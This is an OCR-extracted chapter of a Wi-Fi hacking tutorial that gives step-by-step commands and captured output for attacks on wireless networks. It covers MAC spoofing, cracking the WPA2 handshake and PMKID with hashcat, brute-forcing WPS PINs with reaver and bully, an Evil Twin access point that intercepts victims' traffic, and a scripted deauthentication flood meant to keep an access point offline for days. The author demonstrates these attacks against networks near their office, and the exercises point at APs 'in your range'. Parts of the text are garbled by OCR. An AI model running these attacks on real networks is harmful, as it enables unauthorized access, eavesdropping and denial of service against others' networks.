wlan.fc.subtype · Subtype		<=
wlan.fc.tods · To DS		in
wlan.fc.type · Type		
wlan.fc.type_subtype - Type/Subtype		
wlan.fc.version · Version		
wlan.fcs · Frame check sequence		
wlan.fcs.bad_checksum · Bad checksum		
wlan.fcs.status - FCS Status		Value (Unsigned integer, 1 byte)
wlan.fh.dwell_time · Dwell Time		lool
wlan.fh.hop_index · Hop Index		Predefined Values
wlan.fh.hop_pattern - Hop Pattern		Predenned values
wlan.fh.hop_set · Hop Set		
wlan.fh_hopping.parameter.nb_channels - Number of Channe	s	
wlan.fh_hopping.parameter.prime_radix · Prime Radix		
wlan.fh_hopping.table.flag · Flag		
wlan.fh_hopping.table.modulus - Modulus		
wlan.fh_hopping.table.number_of_sets · Number of Sets		
wlan.fh_hopping.table.offset · Offset	~	Range (offset:length)
earch: wlan		1
vlan.fc.subtype == 00		

When trying to develop your own Wi-Fi hacking tools, it is critical to understand the frames and their purpose in this 802.11 protocol. Bookmark this page for future reference as we use this information to develop our very own Wi-Fi hacking tools!

Attacking Wi-Fi APs

Hidden SSID's

Most security engineers are taught to "hide" their SSIDs. The thinking is that by hiding their SSID, only people who know the SSID will be able to discover and connect to their Wi-Fi AP. Their trust in this strategy is misplaced.

Whenever a legitimate client tries to connect to an Access Point (AP), both the probe response and request contain the SSID of the access point. In addition, generally, you do not need the SSID to connect to the AP, if you have the BSSID (the MAC address) of the AP. As this information is broadcast over the airwaves, the hacker only needs to use a tool such as airodump-ng or others to view the BSSIDs, as we saw above.

Defeating MAC Filtering

Again, network security engineers are taught to limit who can access their Wi-Fi AP by using MAC filtering. This technique limits who can access the AP by MAC address (the globally unique identifier on every network interface). The security engineer puts the MAC addresses of all the legitimate users and their systems into the administrator interface of the AP. This means that these MAC addresses are allowed to connect, and the AP rejects everyone else. Unfortunately, this technique fails miserably in the face of some simple techniques.

The hacker can use airodump-ng to find the MAC addresses of clients that have authenticated to the AP.

kali > airodump-ng -c 11 -a -bssid <mac>

Once the hacker knows the MAC address of the authenticated client, they can simply "spoof" that MAC address. This requires that we take down the interface:

```
kali> ifconfig wlan0 down
```

Then, use macchanger to spoof the MAC address making it the same as the connected client's MAC.

kali > macchanger -m <mac> wlan0

root@kali-2019	:∼# ifconfig wlan0 down :∼# macchangermac AA:BB:CC:DD:EE:FF wlan0
Current MAC:	32:b7:60:71:76:92 (unknown)
Permanent MAC:	00:c0:ca:59:12:3b (ALFA, INC.)
New MAC:	aa:bb:cc:dd:ee:ff (unknown)

Now, bring back up the interface, and it will have the same MAC address as one of the systems that allowed it to connect to the AP. Simple!

kali > ifconfig wlan0 up

Once the attacker's MAC address matches one in the MAC filtering whitelist, they can connect to the AP without interference.

Attacking WPA2-PSK

WPA2-PSK is the most widely used security protocol among Wi-Fi routers. Although WPA3 has just been released, it has not yet been widely deployed. As a result, let's focus on WPA2 cracks.

Unlike some earlier Wi-Fi hacking techniques, such as WEP (where you could crack the password in minutes using statistical techniques), the strategy with WPA2 is similar to our password-cracking techniques in Chapter 8. With WPA2-PSK, we first capture the hash of the password, and then we apply a wordlist in a hash cracking program such as hashcat to find a match.

The key is to grab the password hash as it is transmitted through the air. WPA2-PSK has what is known as the four-way handshake, where the password hash is transmitted across the air between the client and the AP. We can capture it there and then apply our familiar techniques and resources for password hash cracking.



WPA2-PSK 4-Way Handshake

The first step is to put our wireless network card in monitor mode.

kali > airmon-ng start wlan0

Then we start airodump-ng to collect information and packets.

kali > airodump-ng wlan0mon

CH 10][Elapsed:	0 s]	[2019-11-01	09:26							
BSSID	PWR	Beacons	#Data,	#/s	СН	MB	ENC	CIPHER	AUTH	ESSID
MAC Addresses of AP's	- 55 - 1	2 0	0 0	0 0	11 - 1	58 -1	WPA2	CCMP	PSK	HP-Print-E3-Deskje <length: 0=""></length:>
	-63 -66	2	0 0	0 0	1	130 130		CCMP CCMP	PSK MGT	TPTV1 <length: 0=""></length:>
	- 77	2	0	0	1	195		CCMP	PSK	CenturyLink6236
	-78	6	Θ	Θ	10	54e	WEP	WEP		APHU1
BSSID	STAT	ION	PWR	Ra	te	Los	t	Frames	Prob	e
F2:A3:A7:5B:63:29		E:8F:8D:18:2			- 1		42	13	Mande	ela2
(not associated)	52:C	C:23:F6:58:E	2 -78	0	- 1		Θ	1		

We will likely want to focus our packet capture on a single AP on a single channel. We can do that by entering the following:

kali > airodump-ng -bssid <BSSID of the Target AP> -c <the channel the AP is transmitting on> --write <file name to save the hash> wlan0mon

root@kali-2019:~# airodump-ng --bssid aa:bb:cc:dd:ee:ff -c 11 --write HackersAriseCrack wlan0mon

If you are impatient like me, you can bump off a client who is already connected to the AP, and then when they reconnect, you will capture their handshake using aireplay-ng such as;

kali > aireplay-ng -deauth 100 -a AA:BB:CC:DD:EE:FF wlan0mon

	<mark>i-2019</mark> :∼# aireplay-ngdeauth 100 -a 9C:3D:CF wlan0mon
10:39:02	Waiting for beacon frame (BSSID: 9C:3D:CF:6D:8F:E0) on channel 11
NB: this	attack is more effective when targeting
a connect	ed wireless client (-c <client's mac="">).</client's>
10:39:04	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF
10:39:05	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF
10:39:05	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF
10:39:06	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF
10:39:06	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF
10:39:07	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF
10:39:08	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF
10:39:08	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF
10:39:09	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF
10:39:09	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF

Where:

aireplay-ng	is the command
deauth 100	is the option to send 100 deauth frames into the AP
-a <bssid></bssid>	is the BSSID of the target AP
wlan0mon	is your wi-fi adapter in monitor mode

Now, when the client re-authenticates to the AP, airodump-ng will automatically detect the four-way handshake, capture it and write it to the file you designated (HackersAriseCrack).



When we do a long listing on our working directory, we will find five files created by airodump-ng. The first one, Hackers-AriseCrack-1.cap contains the hash for cracking.

- rw- r r	1 root	root	760 Nov	3 10:25	HackersAriseCrack-01.cap < 🗖
- rw-rr	1 root	root	236 Nov	3 10:25	HackersAriseCrack-01.csv
- rw- r r	1 root	root	325 Nov	3 10:25	HackersAriseCrack-01.kismet.csv
- rw-rr	1 root	root	227 Nov	3 10:25	HackersAriseCrack-01.kismet.netxml
- rw- r r	1 root	root	105 Nov	3 10:25	HackersAriseCrack-01.log.csv

Now that you have the handshake, you simply need to use a hash cracking program such as hashcat to brute-force the password. Admittedly, this can be a slow and tedious process, making your selection of a good wordlist critical.

```
kali > hashcat -m 16800 HackersAriseCrack-01.cap
/root/top10000passwords.txt
```

If you are at first unsuccessful, create a custom wordlist for the target using ceWL, cup, crunch, or all three. With this new custom wordlist, try once again to crack the hash with hashcat.

WPS

Many people who buy and use Wi-Fi APs are technically challenged. For them, setting up a Wi-Fi AP is a daunting task. To remedy this situation, the industry developed a technology to make setting up a Wi-Fi AP as easy as pushing a button! What could possibly go wrong?

The new technology became known as Wi-Fi Protected Setup or WPS. It enabled the user to setup their Wi-Fi access point by simply pressing a button on the AP. This system relies upon a PIN being transmitted between the AP and the client to initiate their "secure" connection.

This PIN uses only digits from 0-9 (no special or alphabetic characters). The PIN is eight characters long (all characters are digits), and the eighth character is a checksum. To make matters worse--of these seven remaining characters-- the first four are checked, and the last three are checked, separately. This means that the number of possibilities is $10^4 (10,000) + 10^3 (1000) = 11,000$ possible PIN's! With that small number of PINs, our computer can test each in a matter of hours.

Although this vulnerability was mitigated with the development of WPS 2.0 in 2012, there are still a number of APs with WPS 1.0 and vulnerable to this attack (I estimate about 10-20 percent)

The crack the WPS PIN, you will need the following information;

- 1. The name of your interface (usually wlan0mon)
- 2. The MAC Address of the AP
- 3. The ESSID of the AP
- 4. The channel that the AP is broadcasting on

We can gather all that information from our airodump-ng screen.

CH 10][Elapsed:	0 s]	[2019-11-01	09:26							
					#4					#3
BSSID #2	PWR	Beacons	#Data,	#/s	CH	MB	ENC	CIPHER	AUTH	ESSID
MAC Addresses	- 55	2	0	Θ	11	58	WPA2	CCMP	PSK	HP-Print-E3-Deskje
of AP's	- 1	Θ	Θ	0	- 1	- 1				<length: 0=""></length:>
	-63	2	0	0	1	130	WPA2	CCMP	PSK	TPTV1
	-66	2	0	0	1	130	WPA2	CCMP	MGT	<length: 0=""></length:>
	-77	2	Θ	Θ	1	195	WPA2	CCMP	PSK	CenturyLink6236
	-78	6	0	Θ	10	54e	WEP	WEP		APHU1
BSSID	STAT	ION	PWR	Ra	te	Los	t	Frames	Prob	2
F2:A3:A7:5B:63:29	00:1	E:8F:8D:18:2	5 -16	0	- 1		42	13	Mande	ela2
(not associated)	52:C	C:23:F6:58:E	2 -78	0	- 1		Θ	1		

To find APs with WPS, you can run the wash command followed by the name of your interface (wlan0mon).

```
kali > wash -i wlan0mon
```

<pre>root@kali-2019:~# BSSID</pre>					Vendor	ESSID
MAC Addresses	1 1 6 6 6 6 7	- 71 - 73 - 75 - 73 - 03 - 71 - 77 - 75 - 67	2.0 2.0 2.0 2.0 2.0 2.0 2.0 2.0 2.0 2.0	No No No No No No No No	Quantenn Broadcom AtherosC AtherosC AtherosC AtherosC Broadcom Broadcom	clickhereforavirus5 MOTO9818 CenturyLink9930 vsimpso1 HOME-15EB-2.4 PREB-NET-2.4 HOME-FF2B-2.4 CenturyLink6236 NETGEAR03
	11 8 11 11 11 11 11	- 77 - 65 - 65	2.0 2.0 1.0 2.0	No No No No No	Broadcom AtherosC Quantenn Broadcom Broadcom AtherosC	GuinnessJager NTGR_VMB_1462061001 MOTOROLA-710EB CenturyLink2925

As you can see above, there were a number of APs available near my office, and of those, one is still using WPS 1.0 (NTGR_VMB_1462061001).

Now, with the information from wash and airodump-ng, we can brute force the PIN with either bully or reaver.

To use bully, enter:

kali > bully wlan0mon -b 00:11:22:33:44:55 -e NTGR_VMB_1462061001-c 11

To use reaver, enter the following:

kali > reaver -i wlan0mon -b 00:11:22:33:44:55 -vv

```
root@kali-2019:~# reaver -i wlan0mon -b 9C:3D:CF -vv
Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetso
l.com>
[+] Waiting for beacon from 9C:3D:CF:6D:8F:E0
[+] Switching wlan0mon to channel 1
[+] Switching wlan0mon to channel 11
[+] Received beacon from 9C:3D:CF
[+] Trying pin "12345670"
[+] Sending authentication request
[+] Associated with 9C:3D:CF (ESSID: NTGR_VMB_1462061001)
```

Make certain that you replace the MAC address with the actual MAC address of the target AP, the actual SSID of the target AP, and the actual channel the AP is broadcasting on.

Evil Twin Attack (MiTM)

Sometimes, rather than attacking the AP password, the attacker wants to view all the target's traffic. In other words, the attacker wants to "eavesdrop" on their traffic. Eavesdropping might reveal passwords on other accounts, credit card numbers, or confidential meetings and plans. One way of doing that is to create an Evil Twin AP. The Evil Twin is an AP with the same SSID as the target AP. If the attacker can get the target to connect to their Evil Twin AP, then all the traffic will traverse the attacker's computer. This enables the attacker to eavesdrop (listen) to the target's traffic and even alter the messages.

Build our Evil Twin

Let's start building our Evil Twin. To do so, we need another tool from the aircrack-ng suite, airbaseng. It converts our Wi-Fi adapter into an AP, broadcasting and accepting client connections. We will also need two network interfaces. Here, I will be using my Alfa card as an AP and Ethernet connection (eth0) to connect to the Internet.

kali > airbase-ng -a aa:bb:cc:dd:ee:ff --essid hackers-arise -c 6
wlan0mon

```
root@kali-2019:~# airbase-ng -a aa:bb:cc:dd:ee:ff --essid hackers-arise -c 6 wlan0mon
11:44:09 Created tap interface at0
11:44:09 Trying to set MTU on at0 to 1500
11:44:09 Trying to set MTU on wlan0mon to 1800
11:44:09 Access Point with BSSID AA:BB:CC:DD:EE:FF started.
```

Where:

aa:bb:cc:dd:ee:ff is the MAC address of the new Evil Twin AP

essid hackers-arise	is the name of the Evil Twin AP
-с б	is the channel we want it to broadcast on
wlan0mon	is the interface we want to use as an AP

Now that we have our wireless card up as an AP let's check our system again for wireless extensions with iwconfig.

kali > iwconfig



As you can see, we now have a new wireless interface, at0, but with no wireless extensions. We need to fix that.

We need to build a tunnel from at0 to our Ethernet interface (eth0) so that when someone connects to our AP (at0), their traffic traverses our system and out to the Internet via the eth0. The next set of four commands does exactly that!

kali > ip link add name ha type bridge
kali > ip link set ha up
kali > ip link set eth0 master ha
kali > ip link set at0 master ha

root@kali-2019:~# ip link add name ha type bridge
root@kali-2019:~# ip link set ha up
root@kali-2019:~# ip link set eth0 master ha
root@kali-2019:~# ip link set at0 master ha

Now that we have built our tunnel, let's run if config again.



As you can see, we now have a tunnel named ha (hackers-arise) that takes traffic from at0 (our AP) to our Ethernet connection and out to the Internet. In this way, whenever anyone connects to our AP, their traffic goes through our system and then out to the Internet totally transparently.

We now need to set up a DHCP server (it assigns IP addresses to those who connect) to the tunnel we created.

```
kali > dhclient ha &
```



This starts the DHCP service (dhclient) on our tunnel (ha) and then puts the service into the background (&).

To get the clients to connect to our new Evil Twin AP, we need to knock them off the legitimate AP. We can do this the same way we did above in our WPA2 attack. We use the aireplay-ng command and send de-authentication frames into the AP (sometimes, this can DoS some of the older AP hardware). This will make the legitimate AP unavailable to the clients, and they will connect to the Evil Twin instead!

```
kali > aireplay-ng -deauth 1000 aa:bb:cc:dd:ee:ff wlan0mon -ignore-
negative-one
```

Now open Wireshark. When the clients reconnect to your Evil Twin, their traffic traverses unencrypted through your system. You should be able to view it on Wireshark.

Notice that when you open Wireshark, a new interface—our tunnel "ha"—appears in the GUI. Click on that interface to collect the packets traversing our tunnel.

	The Wireshark Network Analyzer		0 0	8
<u>F</u> ile	<u>E</u> dit <u>V</u> iew <u>Go</u> <u>Capture</u> <u>Analyze</u> <u>Statistics</u> <u>Telephony</u> <u>W</u> ireless <u>T</u> ools <u>H</u> elp			
		20	0	
Ap	pply a display filter <ctrl-></ctrl->	Expres	ssion	+
	Welcome to Wireshark			
	Capture			
	using this filter: 📕 Enter a capture filter	erfaces sl	hown -	•
	eth0 MMU wlan0mon Anna Anna Anna Anna Anna Anna Anna An		4	<u> </u>
	ha M			
	any /www Loopback: lo nflog nfqueue			
	Learn			
	User's Guide · Wiki · Questions and Answers · Mailing Lists You are running Wireshark 2.4.5 (Git v2.4.5 packaged as 2.4.5-1).			
Z	Ready to load or capture	Profile	e: Defa	ult

You can now view all the client's traffic in Wireshark!

r											
			Capturing from ha 🧲	l de la companya de l							
File E	dit <u>V</u> iew <u>G</u> o <u>C</u> aptu	ire <u>A</u> nalyze <u>S</u> tatistics	Telephony Wireless Tools	s <u>H</u> elp							
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Apply a display filter <ctrl-></ctrl->											
No.	Time	Source	Destination	Protocol Length Info							
	86 10.042153002	192.168.1.1	239.255.255.250	SSDP 316 NOTIFY	* HTTP/1.1						
	87 10.045421866	192.168.1.1	239.255.255.250	SSDP 371 NOTIFY	* HTTP/1.1						
	88 10.049329584	192.168.1.1	239.255.255.250	SSDP 379 NOTIFY	* HTTP/1.1						
	89 10.052280616	192.168.1.1	239.255.255.250	SSDP 316 NOTIFY	* HTTP/1.1						
L	90 10.055558933	192.168.1.1	239.255.255.250	SSDP 307 NOTIFY	* HTTP/1.1						
4					•						
▶ Fram	e 1: 381 bytes o	n wire (3048 hits). 381 bytes captured ((3048 bits) on interface	Θ						
				: IPv4mcast_7f:ff:fa (0							
			.168.1.1, Dst: 239.255								
		ol, Src Port: 190									
Simp	le Service Disco	very Protocol									
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$\odot \odot \odot \odot$	01 00 5e 7f ff 1			%OHE.	A						
0010				j							
0020	ff fa 07 6c 07 0			.1.[*.NOTIFY							
0030	20 2a 20 48 54 5			TTP/ 1.1Hos							
0040	74 3a 32 33 39 2			9.25 5.255.25 00 NT:urn:s							
0050	30 3a 31 39 30 3 63 68 65 6d 61 3			as-w ifiallia							
0070	6e 63 65 2d 6f			org: service:							
0 7				•	▼ Drafila: Dafault						
	ha: <live capture="" in="" pr<="" td=""><td>rogress></td><td>Pack</td><td>ets: 90 · Displayed: 90 (100.0%)</td><td>Profile: Default</td></live>	rogress>	Pack	ets: 90 · Displayed: 90 (100.0%)	Profile: Default						

To follow a stream of one client, right-click on a packet in the upper window and click on "Follow Stream."



OAnonGhostNetwork Now you should be able to see and read all that client's traffic!

Denial of Service (DoS) Attack

As we have seen, there is a Wi-Fi protocol frame known as the de-authentication (deauth) frame. It can be used to knock users off the AP. We used it above to de-authenticate users forcing them to re-authenticate in the WPA2-PSK attack and knock out the legitimate AP in the Evil Twin hack. We can also use that frame and aircrack-ng suite to create a Denial of Service (DOS) against the AP.

We can simply use this command to knock users off the AP. As I mentioned earlier, in some older APs, this will knock out the AP entirely and force the admin to reboot the AP.

To do so, we simply need to enter:

kali > aireplay-ng -deauth 100 -a <BSSID> wlan0mon

root@kali	2019:~# aireplay-ngdeauth 100 -a 9C:3D:CF wlan0mon	
	Waiting for beacon frame (BSSID: 9C:3D:CF:6D:8F:E0) on channel 1	11
NB: this	attack is more effective when targeting	
a connect	ed wireless client (-c <client's mac="">).</client's>	
	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF	1
	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF	1
	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF	1
	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF	1
10:39:06		1
10:39:07		1
10:39:08		
10:39:08		
10:39:09	g, ,, ,,	
10:39:09	Sending DeAuth (code 7) to broadcast BSSID: [9C:3D:CF	

This will knock everyone off the AP during the duration of the sending of the deauth frames. They can reconnect then afterward. What if we wanted to keep the AP offline indefinitely? We could keep running this command over and over again, OR we could summon up our BASH scripting skills (for BASH scripting, see *Linux Basics for Hackers*) to create a simple script that kept running this command at regular intervals.

This simple BASH script periodically sends these de-authenticate (deauth) frames to the AP, thereby knocking all the clients off and disrupting their Internet access. Then, we put our attack to "sleep" for a period of time and restart the attack, knocking everyone off again.

To do so, open Leafpad (MousePad), vim, or any text editor and enter the following; @AnonGhostNetwork



- Line #1 declares that this is a BASH script
- Line #3 starts a for loop starting with one and running through until 5000 iterations
- Line #5 begins the do
- Line #7 is our aireplay-ng command that sends the deauth frames to the selected AP BSSID
- Line #9 puts the script to sleep for sixty seconds

Line #11 - completes the do

The script will then send deauth frames to the AP every 60 seconds for 5000 iterations or about three days! Of course, for shorter or longer periods of time, simply adjust the second number in the for clause (5000).

PMKID Attack

In August 2018, the developers of hashcat announced they had found a new attack against WPA2-PSK. As we saw above, the cracking of WPA2-PSK involves temporarily disconnecting a client from the AP in order to get them to re-connect, where we then capture the hash in the 4-way handshake. The good folks at hashcat found that they could get the password hash **without** the need for a client to connect, saving us one step and significant time and trouble.

The PMKID attack is capable of getting the information for the WPA2-PSK brute-force password attack by grabbing a single frame. That frame, the RSN IE, contains all the information we need, and it doesn't require a client to connect!

How It Works

When your wireless network adapter starts up, your system begins to look for known networks to connect to. It "probes" for known SSID's to connect to. If the AP is in range, the AP will respond to the probe. The AP response is the RSN (Robust Security Network). Your network adapter then responds with an Authentication Request (AR). The Authentication Request prompts the AP to send its own authentication frames. When the Wi-Fi adapter receives this authentication request, it will send an Association Request to the AP with ESSID and RSN. The AP responds with an EAPOL frame that may contain the PMKID. This PMKID contains:

- 1. PMK
- 2. PMK Name
- 3. AP's MAC Address
- 4. Stations MAC Address

All this information is then hashed through the HMAC-SHA1-128 algorithm. This attack is successful by grabbing the PMKID, stripping out all the information but the password hash, and then running that hash through a hash cracker, such as hashcat.

Let's get started!

The tools we need for this attack are not built into Kali by default, so we will need to download them from github and build them.

First, we need the hcxdumptool. Using git clone, we can download it from www. github.com by entering;

kali > git clone https://github.com/ZerBea/hcxdumptool.git

root@kali-2019:~# git clone https://github.com/ZerBea/hcxdumptool.git Cloning into 'hcxdumptool'... remote: Enumerating objects: 6, done. remote: Counting objects: 100% (6/6), done. remote: Compressing objects: 100% (4/4), done. remote: Total 1839 (delta 2), reused 6 (delta 2), pack-reused 1833 Receiving objects: 100% (1839/1839), 660.85 KiB | 1.54 MiB/s, done. Resolving deltas: 100% (1242/1242), done.

Then, navigate to the new hexdumptool directory;

kali > cd hcxdumptool

.. and make and install this tool.

kali >make

kali >make install



Next, we need the hcxtools. Just like the hcxdumptool above, we can download and install it by entering;

kali >git clone https://github.com/ZerBea/hcxtools.git

- kali >cd hcxtools
- kali >make
- kali >make install

We now need to place our wireless adapter into monitor mode again.

kali >airmon-ng start wlan0

With the wireless adapter in monitor mode, we can now probe the available APs for their PMKID.

kali >hcxdumptool -I wlan0mon -o HackersArisePMKID -enable_status=1

<pre>root@kali-2019:-/hcxdumptool# hcxdumptool -i wlan@mon -o HackersArisePMKIDenable_status=1 initialization warning: NetworkManager is running with pid 550 (service possbile interfering hcxdumptool) warning: wlan@mon is probably a monitor interface interface is already in monitor mode start capturing (stop with ctrl+c) NMEA 0183 SENTENCE: INTERFACE HARDWARE MAC.: @0cea59123a DRIVER</pre>									
<pre>warning: NetworkManager is running with pid 550 (service possbile interfering hcxdumptool) warning: wpa supplicant is running with pid 1009 (service possbile interfering hcxdumptool) warning: wlan0mon is probably a monitor interface interface is already in monitor mode start capturing (stop with ctrl+c) NMEA 0183 SENTENCE: INTERFACE HARDWARE MAC: 00c0ca59123a DRIVER: vlan0mon INTERFACE HARDWARE MAC: 00c0ca59123a DRIVER: 5.2.0-kali2-amd64 DRIVER VERSION: 00 errors FiltTERMADE: 0 errors FiltTERMADE: 0 errors FiltTERMADE: 0 ertries FiltTERMIDE: 0 ertrie</pre>									
<pre>(service possbile interfering hcxdumptool) warning: wpa_supplicant is running with pid 1009 (service possbile interfering hcxdumptool) warning: wlan0mon is probably a monitor interface interface is already in monitor mode start capturing (stop with ctrl+c) NMEA 0183 SENTENCE: INTERFACE NAME: wlan0mon INTERFACE HARDWARE MAC: 00c0ca59123a DRIVER: rt2800usb DRIVER VERSION: rt2800usb DRIVER VERSION: 0.36 ERRORMAX: 00 entries FlitTERLIST ACCESS POINT: 0 entries FlitTERLIST CLIENT: 0016b46887c9 (incremented on every new client) MAC CLIENT: b025aa8d5db0 <-> 94103e7fd5c7 PMKID:90bf3cf2a81c9048449356ee445d2e081b8061006d7f8113a1 08:13:37 2 b025aa8d5db0 <-> 94103e7fd5c7 PMKID:90bf3cf2a81c90f9284117f86fc8f332 (Spring) 08:13:40 11 b025aa8d5db0 <-> 9420fd8c8 PMKID:2b2e675a7363840928c8103b0072ec45 (NTGR_VMB 1462061001) 08:13:36 6 c8d3ffc647sc <-> bc99114a9847 PMKID:147e9448a5b226c404815493705bb8d (CenturyLink9327) 08:13:40 11 b025aa8d5db0 <-> 94302ff3559 PMKID:142de6584fe88108f393d112e48e (Test) </pre>									
<pre>warning: wpa supplicant is running with pid 1009 (service possbile interfering hxdumptool) warning: whan@mon is probably a monitor interface interface is already in monitor mode start capturing (stop with ctrl+c) NMEA 0183 SENTENCE: INTERFACE NAME: wlan@mon INTERFACE NAME: vlan@mon INTERFACE NAME: vlan@mon INTERFACE HARDWARE MAC: 00c0ca59123a DRIVER: vlan@mon INTERFACE HARDWARE MAC: 00c0ca59123a DRIVER VERSION: 5.2.0-kali2-amd64 DRIVER VERSION: 5.2.0-kali2-amd64 RRORMAX</pre>									
<pre>(service possbile interfering hcxdumptool) warning: wianomon is probably a monitor interface interface is already in monitor mode start capturing (stop with ctrl+c) NMEA 0183 SENTENCE: INTERFACE NAME</pre>									
<pre>varning: wlan0mon is probably a monitor interface interface is already in monitor mode start capturing (stop with ctrl+c) NMEA 0183 SENTENCE: INTERFACE NAME: wlan0mon INTERFACE NAME: vlan0mon INTERFACE NAME: vlan0mon INTERFACE NAME: vlan0mon INTERFACE NAME: vlan0mon INTERFACE NAME: vlan0mon INTERFACE NAMWE: vlan0mon INTERFACE NAMWE: vlan0mon INTERFACE NAMWE: vlan0mon INTERFACE NAMWE: vlan0mon INTERFACE NAMWE: vlan0mon INTERFACE NAMWE</pre>									
<pre>interface is already in monitor mode start capturing (stop with ctrl+c) NMEA 0183 SENTENCE: INTERFACE NAME</pre>									
<pre>start capturing (stop with ctrl+c) NMEA 0183 SENTENCE: INTERFACE NAME: wlan0mon INTERFACE MARDWARE MAC.: 00:0ca59123a DRIVER.CE HARDWARE MAC.: 00:0ca59123a DRIVER.VER.SION: 72800usb DRIVER VERSION: 52.0 kali2-amd64 DRIVER VERSION: 0.36 ERRORMAX: 100 errors FILTERLIST ACCESS POINT: 0 entries FILTERLIST CLIENT: 0 entries FILTERLIST CLIENT: 0 entries MAC ACCESS POINT: 0016b46887C9 (incremented on every new client) MAC ACCESS POINT: b025aa8d5db0 REPLAYCOUNT: 63960 ANONCE: 919339734e12dee6e81d6cd1cffaa2ef1d74804bcfa0b2e9e52d0e05de238436 SNONCE: 18bfc75605254bbdd9208335fc484b48356ee4e5d2e081b86d100de7f8113a1 08:13:37 2 b025aa8d5db0 <> 94103e7fd5c7 PMKID:90bf8cf2a81c90f9284117f86fc8f332 (Spring) 08:13:40 11 b025aa8d5db0 <> 30332Efd5555 PMKID:9bdf8cf2a81c90f9284117f86fc8f32 (Spring) 08:13:41 11 b025aa8d5db0 <> 30332Efd5555 PMKID:9bdf8cf2a81c90f9284107805b264 (CenturyLink8327) 08:13:41 11 b025aa8d5db0 <> 9c3dcf6d8fe0 PMKID:2b2e675a7363840928c103b0072ec45 (NTGR VMB 1462061001) 08:13:56 6 c8d3ffc6473c <> bc39114a9847 PMKID:f17e79448a5eb26c40815493705bb8d (CenturyLink930) 08:13:40 11 b025aa8d5db0 <> 4aa3e215555 PMKID:412d0e5684fe8810854936b0ec40Eft39305bb8d (CenturyLink930) 08:14:40 11 b025aa8d5db0 <> 34a3e215555 PMKID:1412d0e5684fe881085393b612ed4ec (Test)</pre>									
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As you can see above, hcxdumptool is capable of pulling the PMKID from many of the Wi-Fi APs in the area. It likely won't be able to pull all of them, but it usually can pull most of them (80-90 percent).

Note that our capture file has multiple PMKID's. It's likely we only want to crack the PSK of one AP. To do so, let's run the hcxdumptool with a filter for just a single target AP. Go back to our airodump-ng terminal and select the BSSID of the target AP. Then create a simple text file with the BSSID of the target AP. We can use cat to create a simple text file named "targetBSSID'.

Make certain that the file does not contain any colons ":" or spaces.

kali > cat > targetBSSID <the target AP's BSSID>

Exit cat by entering CTRL+D.

Now that we have the BSSID in a plain text file, we can use it in hcxdumptool filter for that target AP and place the target's PMKID into our output file.

To do so, enter:

```
kali > hcxdumptool -I wlan0mon -o HackersArisePMKID -enable_status=1 -
filterlist_ap=targetBSSID -filtermode=2
```

<pre>root@kali-2019:~# hcxdumptool -i wlan0mon -o HackersArisePMKIDenable_status=1filterlist_ap=targetBSSIDfiltermode=2</pre>
initialization
warning: NetworkManager is running with pid 550
(service possbile interfering hcxdumptool)
warning: wpa_supplicant is running with pid 1009
(service possbile interfering hcxdumptool)
warning: wlan0mon is probably a monitor interface
interface is already in monitor mode
start capturing (stop with ctrl+c)
NMEA 0183 SENTENCE:
INTERFACE NAME wlan0mon
INTERFACE HARDWARE MAC: 00c0ca59123a
DRIVER rt2800usb
DRIVER VERSION: 5.2.0-kali2-amd64
DRIVER FIRMWARE VERSION.: 0.36
ERRORMAX 100 errors
FILTERLIST ACCESS POINT.: 1 entries
FILTERLIST CLIENT: 0 entries
FILTERMODE 2
PREDEFINED ACCESS POINT.: 0 entries
MAC ACCESS POINT: 24336c783aca (incremented on every new client)
MAC CLIENT: c022504abd8c
REPLAYCOUNT 63309
ANONCE
SNONCE
08:42:29 6 c022504abd8c <-> a0a3e; PMKID:133194ebf928eafe7190f2aaf5e352fe (CenturyLink8327)

As you can see above, hcxdumptool focused on that one AP and placed the PMKID into our file "HackersArisePMKID"!

Convert Dump to Hashcat Format

To convert the HackersArisePMKID file into a format that hashcat can work with, we need to use the hcxcaptool. Make certain you are in the same directory as the HackersArisePMKID file and enter:

kali > hcxcaptool -z hashoutput.txt HackersArisePMKID

Now that we have stripped out all the superfluous information, we can send this hashoutput.txt file to hashcat and crack it! Note the -m 16800 in this command represents the appropriate hash algorithm for this hash.

kali > hashcat -m 16800 hashoutput.txt top10000passwords.txt



Summary

Wi-Fi or IEEE 802.11 is still fertile ground for hacking after twenty years of patching and security upgrades. It's critical that the attacker selects the proper strategy to be successful and not waste their time and resources. The WPA2-PSK attacks using the 4-way handshake, or PMKID can be very time-consuming. If the AP has WPS enabled, this attack by bully or REAVER can take just a few hours (it only requires 11,000 attempts). If all you need is to eavesdrop on the target's Wi-Fi traffic, the Evil Twin attack can be very effective.

Exercises:

- 1. Use iwconfig to view all your wireless connections
- 2. Use airmon-ng to place your wi-fi adapter into monitor mode
- 3. Use airodump-ng to find all the APs and clients in your range
- 4. Use ireshark to filter out any traffic not coming from your wi-fi connection
- 5. Use wash to find any devices using WPS in your range

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Chapter 6 Bluetooth Networks

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Today, Bluetooth is built into nearly all our gadgets. These include our computers, smartphones, iPods, tablets, speakers, game controllers, and many other devices. In this series, we will be focused on mobile hacking devices, tablets, and phones, as they are the most fertile ground for hackers. The ability to hack Bluetooth can lead to the compromise of any information on the device (pictures, emails, text, etc.), control of the

device, and the ability to send unwanted info to the device.

Before we start hacking Bluetooth, though, we need to understand the technology, the terms, and the security that is built into Bluetooth if we want to hack it successfully. In a short article like this, I can't convey an in-depth understanding of Bluetooth, but I do think I can give you the basic knowledge that you can use in subsequent tutorials/hacks.

Bluetooth Basics

